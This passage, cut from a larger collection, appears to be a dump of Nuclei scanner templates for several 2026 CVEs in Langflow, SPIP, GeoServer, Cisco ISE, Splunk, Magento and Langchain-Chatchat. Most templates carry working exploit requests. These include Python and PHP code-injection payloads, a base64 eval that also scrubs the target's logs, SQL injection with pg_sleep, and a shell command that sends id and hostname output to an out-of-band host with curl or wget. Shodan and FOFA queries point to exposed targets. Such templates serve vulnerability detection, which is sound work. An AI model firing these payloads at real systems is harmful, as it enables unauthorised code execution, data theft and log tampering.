https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_auth_rce_cve_2026_7873.rb\n    - https://github.com/rmhowe425/POC-CVE-2026-7873\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-7873\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-7873\n    epss-score: 0.06211\n    epss-percentile: 0.93545\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 4\n    product: langflow\n    vendor: langflow-ai\n    shodan-query: 'http.title:\"Langflow\"'\n    fofa-query: 'title=\"Langflow\"'\n  tags: cve,cve2026,langflow,rce,authenticated,code-injection,ibm,vkev\n\nflow: |\n  http(1);\n  let inRange = false;\n  if (template[\"langflow_version\"] && template[\"langflow_package\"]) {\n    let p = String(template[\"langflow_version\"]).split(\".\");\n    let major = parseInt(p[0], 10);\n    let minor = parseInt(p[1], 10);\n    let patch = parseInt(p[2], 10);\n    if (isNaN(patch)) { patch = 0; }\n    if (!isNaN(major) && !isNaN(minor)) {\n      let atLeast = (major === 1) && (minor > 7 || (minor === 7 && patch >= 2));\n      let atMost  = (major === 1) && (minor < 10 || (minor === 10 && patch === 0));\n      inRange = atLeast && atMost;\n    }\n  }\n  if (inRange) {\n    let token = \"\";\n    http(2);\n    if (template[\"auto_token\"]) {\n      token = template[\"auto_token\"];\n    }\n    if (!token) {\n      http(3);\n      if (template[\"login_token\"]) {\n        token = template[\"login_token\"];\n      }\n    }\n    if (token) {\n      set(\"auth_token\", token);\n      http(4);\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/version HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: langflow_version\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"version\"\\s*:\\s*\"([0-9][^\"]*)\"'\n\n      - type: regex\n        name: langflow_package\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"package\"\\s*:\\s*\"([Ll]angflow)\"'\n\n  - raw:\n      - |\n        GET /api/v1/auto_login HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: auto_token\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /api/v1/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}&password={{password}}\n\n    extractors:\n      - type: regex\n        name: login_token\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{auth_token}}\n\n        {\"code\": \"@(lambda f: (__import__('urllib.request').request.urlopen('http://{{interactsh-url}}', timeout=8), f)[1])\\ndef langflow_check():\\n    pass\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(interactsh_protocol, \"dns\", \"http\")'\n# digest: 4a0a0047304502207eb46193f8c7ec49d4f4b30c0277a44563de2a232270564ee009100bd37ad0d4022100937d2ba0f93943a283f5d46ef78ca764c511b27c827e9104dc6aa266a40fd2e2:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-7873.yaml","vuln_id":"cve-2026-7873"},{"raw":"id: CVE-2026-7798\n\ninfo:\n  name: WordPress FluentCRM <= 2.9.87 - Unauthenticated Blind SSRF\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    FluentCRM WordPress plugin <= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.\n  impact: |\n    Unauthenticated attackers can make arbitrary internal web requests, potentially querying or modifying internal service information.\n  remediation: |\n    Update to a version later than 2.9.87 or the latest available version.\n  reference:\n    - https://plugins.trac.wordpress.org/browser/fluent-crm/trunk/app/Hooks/Handlers/ExternalPages.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-7798\n    - https://wordpress.org/plugins/fluent-crm/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 5.4\n    cve-id: CVE-2026-7798\n    epss-score: 0.00695\n    epss-percentile: 0.53109\n    cwe-id: CWE-918\n  metadata:\n    verified: false\n    max-request: 2\n    publicwww-query: \"wp-content/plugins/fluent-crm\"\n    fofa-query: body=\"fluent-crm\"\n    shodan-query: http.html:\"fluent-crm\"\n  tags: cve,cve2026,wordpress,wp-plugin,fluentcrm,ssrf,wp\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/fluent-crm/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"FluentCRM\")'\n          - 'compare_versions(version, \"<= 2.9.87\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        regex:\n          - '(?i)Stable tag:\\s*([\\w.]+)'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        POST /?fluentcrm=1&route=bounce_handler&provider=ses HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"Type\":\"SubscriptionConfirmation\",\"SubscribeURL\":\"http://{{interactsh-url}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'status_code == 200'\n          - 'contains(body, \"success\")'\n        condition: and\n# digest: 4b0a00483046022100dd7a134cd1b0004194b9cf4551102f7847ddb821c9c3897bcb036504988ae13e0221009dd6a0b6a8e2502e5f123d6ca8367442632ecb58eee47f320942482fa6fdfb5e:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-7798.yaml","vuln_id":"cve-2026-7798"},{"raw":"id: CVE-2026-77806\n\ninfo:\n  name: SPIP < 4.4.22 - Unauthenticated RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    SPIP < 4.4.21 contains a remote code execution caused by mishandling of the X-Spip-Filtre HTTP request header in analyse_resultat_skel, letting unauthenticated remote attackers execute arbitrary code.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary code, potentially leading to full system compromise.\n  remediation: |\n    Update to version 4.4.21 or later.\n  reference:\n    - https://securityonline.info/cve-2026-77806-spip-unauthenticated-rce/\n    - https://blog.spip.net/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-77806\n    epss-score: 0.04479\n    epss-percentile: 0.9149\n    cwe-id: CWE-94\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: http.component:\"SPIP\"\n    fofa-query: body=\"spip.php\"\n  tags: cve,cve2026,spip,rce,unauth,vkev\n\nvariables:\n  marker: \"{{rand_text_alphanumeric(8)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /spip.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"spip.php\", \"spip_document\", \"spip_logo\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /spip.php?page=sommaire&{{rand_text_alpha(8)}}=%3C%3Fphp%20header(%22X-Spip-Filtre:%20intval|_request|system%22);%20%3F%3E HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        0=echo {{marker}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{{marker}}\")'\n        condition: and\n# digest: 4b0a00483046022100dc78f4728201cd106a2e502d6bc40fc58521d23f9b839f868e58338bbf7854e1022100bd7afbe6d51b4486232af15ef70a532c76ec52a1d6f277f85821d39ed7ee5eb4:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-77806.yaml","vuln_id":"cve-2026-77806"},{"raw":"id: CVE-2026-76904\n\ninfo:\n  name: GeoServer jsonArrayContains CQL Filter - SQL Injection\n  author: portbuster1337,DhiyaneshDk\n  severity: critical\n  description: |\n    GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoTools FilterToSqlHelper.constructEquality writes the expected argument of the jsonArrayContains CQL function RAW into the SQL string while only escaping the JSON pointer. A single quote in the value parameter breaks out of the PostgreSQL jsonb_path_exists string literal, enabling unauthenticated SQL injection. When the PostGIS backend runs with superuser privileges, the injection escalates to operating system command execution through PostgreSQL COPY TO PROGRAM. Patches are available in GeoTools 33.6 and 34.5. No known workaround is available, so the scope can only be limited by restricting which CQL functions are exposed.\n  impact: |\n    Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries against the PostGIS database, potentially leading to full database exfiltration, data manipulation, or remote code execution on the database server via COPY TO PROGRAM.\n  remediation: |\n    Upgrade GeoTools to version 33.6 or 34.5, or a GeoServer release that bundles one of them.\n  reference:\n    - https://gist.github.com/portbuster1337/70d75ec246b85e3199037ce212ff1a06\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-76904\n    - https://github.com/geotools/geotools/commit/d821c4d321dd91c22e31fcd5b1ce676645da5176\n    - https://github.com/geotools/geotools/pull/5829\n    - https://github.com/geotools/geotools/releases/tag/33.6\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-76904\n    cwe-id: CWE-89\n    epss-score: 0.03976\n    epss-percentile: 0.90513\n    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*\n  metadata:\n    verified: \"true\"\n    max-request: 6\n    vendor: osgeo\n    product: geoserver\n    shodan-query:\n      - title:\"geoserver\"\n      - http.title:\"geoserver\"\n    fofa-query:\n      - title=\"geoserver\"\n      - app=\"geoserver\"\n    google-query: intitle:\"geoserver\"\n  tags: cve,cve2026,geoserver,sqli,jsonarraycontains,postgresql,osgeo,vkev\n\nflow: |\n  set(\"ctx\", \"/geoserver\");\n  http(\"detect\");\n  if (!template[\"geoserver_detected\"]) {\n    set(\"ctx\", \"\");\n    http(\"detect\");\n  }\n  if (template[\"geoserver_detected\"]) {\n    http(\"capabilities\");\n    for (var name of iterate(template[\"feature_names\"])) {\n      set(\"name\", name);\n      set(\"column\", \"\");\n      http(\"get-column\");\n      if (template[\"column\"]) {\n        if (http(\"sqli-verify\")) {\n          break;\n        }\n        if (http(\"sqli-time\")) {\n          break;\n        }\n      }\n    }\n  }\n\nhttp:\n  - id: detect\n    raw:\n      - |\n        GET {{ctx}}/web/ HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: word\n        words:\n          - \"GeoServer\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: geoserver_detected\n        regex:\n          - '(GeoServer)'\n        group: 1\n        internal: true\n        part: body\n\n  - id: capabilities\n    raw:\n      - |\n        GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1\n        Host: {{Hostname}}\n\n\n    matchers:\n      - type: word\n        words:\n          - \"FeatureType\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: feature_names\n        regex:\n          - '(?s)<FeatureType[^>]*>\\s*<Name>([^<]+)</Name>'\n        group: 1\n        internal: true\n        part: body\n\n  - id: get-column\n    raw:\n      - |\n        GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=1&outputFormat=csv HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        words:\n          - \"FID\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: column\n        regex:\n          - 'FID,([a-zA-Z_][a-zA-Z0-9_]*)'\n        group: 1\n        internal: true\n        part: body\n\n  - id: sqli-verify\n    raw:\n      - |\n        GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%27%27%27)%20=%20true HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"PSQLException\"\n          - \"SQL SELECT\"\n          - \"jsonb_path_exists\"\n          - \"syntax error\"\n          - \"unterminated quoted string\"\n        condition: or\n\n      - type: word\n        part: header\n        words:\n          - \"text/xml\"\n\n    extractors:\n      - type: dsl\n        name: matched_feature\n        dsl:\n          - \"name\"\n      - type: kval\n        kval:\n          - content_type\n\n  - id: sqli-time\n    raw:\n      - |\n        @timeout: 30s\n        GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%22)%27%27)%20AND%20(SELECT%20pg_sleep(6))%20IS%20NOT%20NULL%20)--%27)%20=%20true HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=6\"\n\n    extractors:\n      - type: dsl\n        name: matched_feature\n        dsl:\n          - \"name\"\n# digest: 490a0046304402207bff903ee39ba13043afcdf922b239c181828fb5dd81df818d4c27ab9b1a61010220322754467c28d9e026cc153030554631012b3fc0398fbe07f20fd571fe023ac7:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-76904.yaml","vuln_id":"cve-2026-76904"},{"raw":"id: CVE-2026-76460\n\ninfo:\n  name: Cisco Identity Services Engine - ise-kong API Gateway Authentication Bypass\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Cisco Identity Services Engine contains an authentication bypass caused by insufficient authentication control on an API endpoint, letting unauthenticated remote attackers gain unauthorized access, exploit requires crafted request to API endpoint.\n  impact: |\n    Unauthenticated remote attackers can bypass authentication and gain unauthorized access to the device management interface.\n  remediation: |\n    Update to the latest available version with the fix.\n  reference:\n    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-ABP-VNSW7Tn5\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-76460\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76460\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2026-76460\n    epss-score: 0.75599\n    epss-percentile: 0.99521\n    cwe-id: CWE-648\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cisco\n    product: identity_services_engine\n    shodan-query: http.favicon.hash:-945076912\n    fofa-query: title=\"identity services engine\"\n  tags: cve,cve2026,cisco,cisco-ise,auth-bypass,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /admin/API/mnt/Session/ActiveList HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: false\n    max-redirects: 0\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'contains_any(body, \"iseApiResponse\", \"Unauthorized\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /admin/API/mnt/Session/ActiveList HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: APPSESSIONID={{randstr}}\n\n    redirects: false\n    max-redirects: 0\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"xml\")'\n          - 'contains(body, \"activeSessionListResult\")'\n          - '!contains_any(body, \"Unauthorized\", \"iseApiResponse\", \"login.jsp\")'\n        condition: and\n\n    extractors:\n      - type: kval\n        kval:\n          - x_ise_version\n# digest: 490a00463044022045eacb32c23ac254865f7a1c3c031ce74bcc72ae086d6edf438ebe3a7c2f2f23022042767cfb1f417d13949c2ca7ab75b2a295c33dcfeb2d5b50f18123b0d46cba38:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-76460.yaml","vuln_id":"cve-2026-76460"},{"raw":"id: CVE-2026-76268\n\ninfo:\n  name: Splunk Enterprise Patroni REST API - Missing Authentication RCE\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Splunk Enterprise versions 10.2.0 through 10.2.6 and 10.4.0 through 10.4.2 expose the Patroni REST API (PostgreSQL sidecar) on SHC members without authentication. An unauthenticated attacker can PATCH /config to set a malicious archive_command and POST /restart to trigger it, achieving remote code execution with the privileges of the PostgreSQL process via the classic Patroni RCE chain.\n  impact: |\n    An unauthenticated attacker with network access to the Patroni port can achieve remote code execution on the Splunk Enterprise server through PostgreSQL archive_command injection.\n  remediation: |\n    Upgrade Splunk Enterprise to version 10.2.7 or 10.4.3 or later.\n  reference:\n    - https://advisory.splunk.com/advisories/SVD-2026-1001\n    - https://pocbit.org/pocs/cve-2026-76268\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-76268\n    epss-score: 0.04795\n    epss-percentile: 0.91967\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: splunk\n    product: splunk_enterprise\n    shodan-query: html:\"patroni\"\n    fofa-query: body=\"patroni\"\n  tags: cve,cve2026,splunk,patroni,postgresql,rce,unauth,misconfig\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /patroni HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains_all(body, \"\\\"patroni\\\"\", \"\\\"state\\\"\", \"\\\"role\\\"\")'\n          - 'status_code == 200'\n        condition: and\n\n  - raw:\n      - |\n        GET /config HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"\\\"postgresql\\\"\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100e9bafb505c0e9c3efc89870743ae231ed618694b5b41cbc6ab68755cb5ec64480221009ada930ccb2df2df4cc76bcd44f789bf4b725ebab787b60f817bd78d1ec2c5ec:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-76268.yaml","vuln_id":"cve-2026-76268"},{"raw":"id: CVE-2026-75650\n\ninfo:\n  name: Adobe Commerce/Magento <= 2.4.9 - StyleSmuggler Unauthenticated RCE via SSTI\n  author: k0pak4\n  severity: critical\n  description: |\n    Adobe Commerce contains a template injection caused by improper neutralization of special elements in the template engine, letting attackers execute arbitrary code in the context of the current user, exploit requires no user interaction\n  impact: |\n    Attackers can execute arbitrary code in the context of the current user, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of Adobe Commerce.\n  reference:\n    - https://helpx.adobe.com/security/products/magento/apsb26-146.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-75650\n    - https://sansec.io/research/stylesmuggler-0day\n    - https://github.com/bigbridge-nl/magento2-stylesmuggler-deferred-directives-fix\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-75650\n    epss-score: 0.03949\n    epss-percentile: 0.90445\n    cwe-id: CWE-1336\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: adobe\n    product: magento\n    shodan-query: http.component:\"Magento\"\n    fofa-query: app=\"Magento\"\n  tags: cve,cve2026,magento,adobe-commerce,ssti,rce,oast,kev,vkev\n\nvariables:\n  cleanup_b64: \"JGw9ZGlybmFtZShfX0RJUl9fLDIpLicvdmFyL2xvZy9zeXN0ZW0ubG9nJzskYz1maWxlX2dldF9jb250ZW50cygkbCk7ZmlsZV9wdXRfY29udGVudHMoJGwscHJlZ19yZXBsYWNlKCcvXDxcPy4qP1w/XD4vcycsJycsJGMpKTs=\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Store: <?php dns_get_record('{{interactsh-url}}',DNS_A);eval(base64_decode('{{cleanup_b64}}')); ?>\n\n        {\"query\":\"{ storeConfig { store_code } }\"}\n\n    matchers:\n      - type: word\n        words:\n          - \"Requested store is not found\"\n        part: body\n        internal: true\n\n  - raw:\n      - |\n        POST /graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\":\"mutation { createEmptyCart }\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"createEmptyCart\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: cart_id\n        json:\n          - '.data.createEmptyCart'\n        internal: true\n\n  - raw:\n      - |\n        POST /graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\":\"mutation s($c:String!,$a:CartAddressInput!){setBillingAddressOnCart(input:{cart_id:$c,billing_address:{address:$a}}){cart{billing_address{company}}}}\",\"variables\":{\"c\":\"{{cart_id}}\",\"a\":{\"firstname\":\"Test\",\"lastname\":\"User\",\"street\":[\"{{if postcode}}{{var postcode}}{{/if}}{{/var}}{{if postcode}}{{var postcode}}{{/if}}{{if city}}{{block class=Magento\\\\Email\\\\Block\\\\Adminhtml\\\\Template\\\\Preview}}{{/if}}\"],\"city\":\"Austin\",\"region\":\"TX\",\"postcode\":\"{{var postcode}}\",\"country_code\":\"US\",\"telephone\":\"5125551234\"}}}\n\n    skip-variables-check: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"setBillingAddressOnCart\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /graphql?text=%7B%7Bblock%20class%3DMagento%5CBackend%5CBlock%5CWidget%5CGrid%5CColumnSet%20rowUrl%3D%24this.template_styles%20cache_key%3Dy%7D%7D&type=2&styles%5Bfirst%5D=..%2Fvar%2Flog%2Fsystem.log&styles%5BgeneratorClass%5D=Aws%5CS3%5CS3Client&styles%5Bregion%5D=us-east-1&styles%5Bversion%5D=latest&styles%5Bs3_us_east_1_regional_endpoint%5D=regional&styles%5Bwith_resolved%5D%5B0%5D%5Binstance%5D=Magento%5CSetup%5CModule%5CDi%5CCode%5CScanner%5CArrayScanner&styles%5Bwith_resolved%5D%5B1%5D=collectEntities&styles%5Bpath%5D=dummy HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\":\"mutation { handlePayflowProResponse(input: { cart_id: \\\"{{cart_id}}\\\", paypal_payload: \\\"RESULT=12&RESPMSG=Declined&PNREF=A10AAF767051\\\" }) { cart { id } } }\"}\n\n    skip-variables-check: true\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n          - \"http\"\n        condition: or\n# digest: 4b0a004830460221009471c287854407da3a2e87e8f9f819b330d9d96f1a3ba033c8ef6e8395cf2588022100bc6e6ac15e6b0bfd3da53b70bc7246dbbb9994f1ab81eee4c6a5c91c69465911:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-75650.yaml","vuln_id":"cve-2026-75650"},{"raw":"id: CVE-2026-75128\n\ninfo:\n  name: Langchain-Chatchat <= 0.3.1.3 - Unauthenticated RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Langchain-Chatchat <= 0.3.1.3 contains a command injection caused by unauthenticated access to the /tools/call API endpoint invoking the shell tool, letting remote attackers execute arbitrary OS commands as root, exploit requires no authentication.\n  impact: |\n    Remote attackers can execute arbitrary OS commands as root, leading to full system compromise.\n  remediation: |\n    Update to the latest version of Langchain-Chatchat.\n  reference:\n    - https://www.lasso.security/vulnerability-database/cve-2026-75128\n    - https://www.vulncheck.com/advisories/langchain-chatchat-through-0.3.1.3-unauthenticated-rce-via-tools-call-endpoint\n    - https://github.com/chatchat-space/Langchain-Chatchat\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-75128\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-75128\n    epss-score: 0.02226\n    epss-percentile: 0.82772\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: chatchat-space\n    product: langchain-chatchat\n    shodan-query: http.title:\"Langchain-Chatchat API Server\"\n    fofa-query: title=\"Langchain-Chatchat API Server\"\n  tags: cve,cve2026,langchain-chatchat,chatchat,langchain,ai,llm,rce,oast,unauth\n\nvariables:\n  probe: \"{{rand_text_alpha(6)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /openapi.json HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"Langchain-Chatchat API Server\", \"/tools/call\", \"/knowledge_base/list_knowledge_bases\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /tools HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"Use Shell to execute system shell commands\", \"The command to execute\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /tools/call HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"shell\",\"tool_input\":{\"query\":\"O=$(id | tr -d ' ')/$(hostname);curl -sm8 http://{{interactsh-url}}/{{probe}}/$O || wget -T8 -qO- http://{{interactsh-url}}/{{probe}}/$O\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'contains(interactsh_request, probe)'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - 'replace_regex(replace_regex(interactsh_request, \"(?s)^GET /\" + probe + \"/\", \"\"), \"(?s) HTTP/1.*\", \"\")'\n# digest: 4a0a00473045022100d3589fefc406e605cebed7fa9f70b4924dd7909163862df7aaeb6821001938d7022062a554328e4846765a06d01de7420f8fbd1b0fa4107ba74eeee5974afe896112:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-75128.yaml","vuln_id":"cve-2026-75128"},{"raw":"id: CVE-2026-7467\n\ninfo:\n  name: Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation\n  author: zer0p0int\n  severity: high\n  description: |\n    The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.\n  impact: |\n    Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover of the site.\n  remediation: |\n    Update to the latest version of the Read More & Accordion (expand-maker) plugin.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/adf51c03-b0bb-4864-b64d-6b0cba4b0130\n    - https://wordpress.org/plugins/expand-maker/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-7467\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-7467\n    epss-score: 0.01313\n    epss-percentile: 0.70779\n    cwe-id: CWE-269\n  metadata:\n    verified: false\n    max-request: 4\n    vendor: radmore\n    product: expand-maker\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/expand-maker/\"\n  tags: cve,cve2026,wp,wordpress,wp-plugin,privilege-escalation,ssrf,authenticated,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1\n\n      - |\n        GET /wp-admin/admin.php?page=readMore HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=yrm_import_data&ajaxNonce={{yrm_nonce}}&attachmentUrl={{BaseURL}}/wp-json/\n\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - \"yrmBackendData\"\n\n      - type: word\n        part: body_3\n        words:\n          - '\"success\":true'\n          - \"Data import successful\"\n        condition: and\n\n    extractors:\n      - type: regex\n        name: yrm_nonce\n        group: 1\n        part: body_2\n        regex:\n          - 'yrmBackendData = \\{\"nonce\":\"([a-f0-9]+)\"'\n        internal: true\n# digest: 490a0046304402200e8e198826b4f2d28bcd85291561920dcd0fc8b4e4d1190421b6820fb2c19a8502203ac6dfa4804518348b8b489aa7771b227eccc3cb571ab6b564cb87fbea57bce3:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-7467.yaml","vuln_id":"cve-2026-7467"},{"raw":"id: CVE-2026-73034\n\ninfo:\n  name: DB-GPT <= 0.8.1 - Arbitrary File Write\n  author: iacker\n  severity: critical\n  description: |\n    DB-GPT through 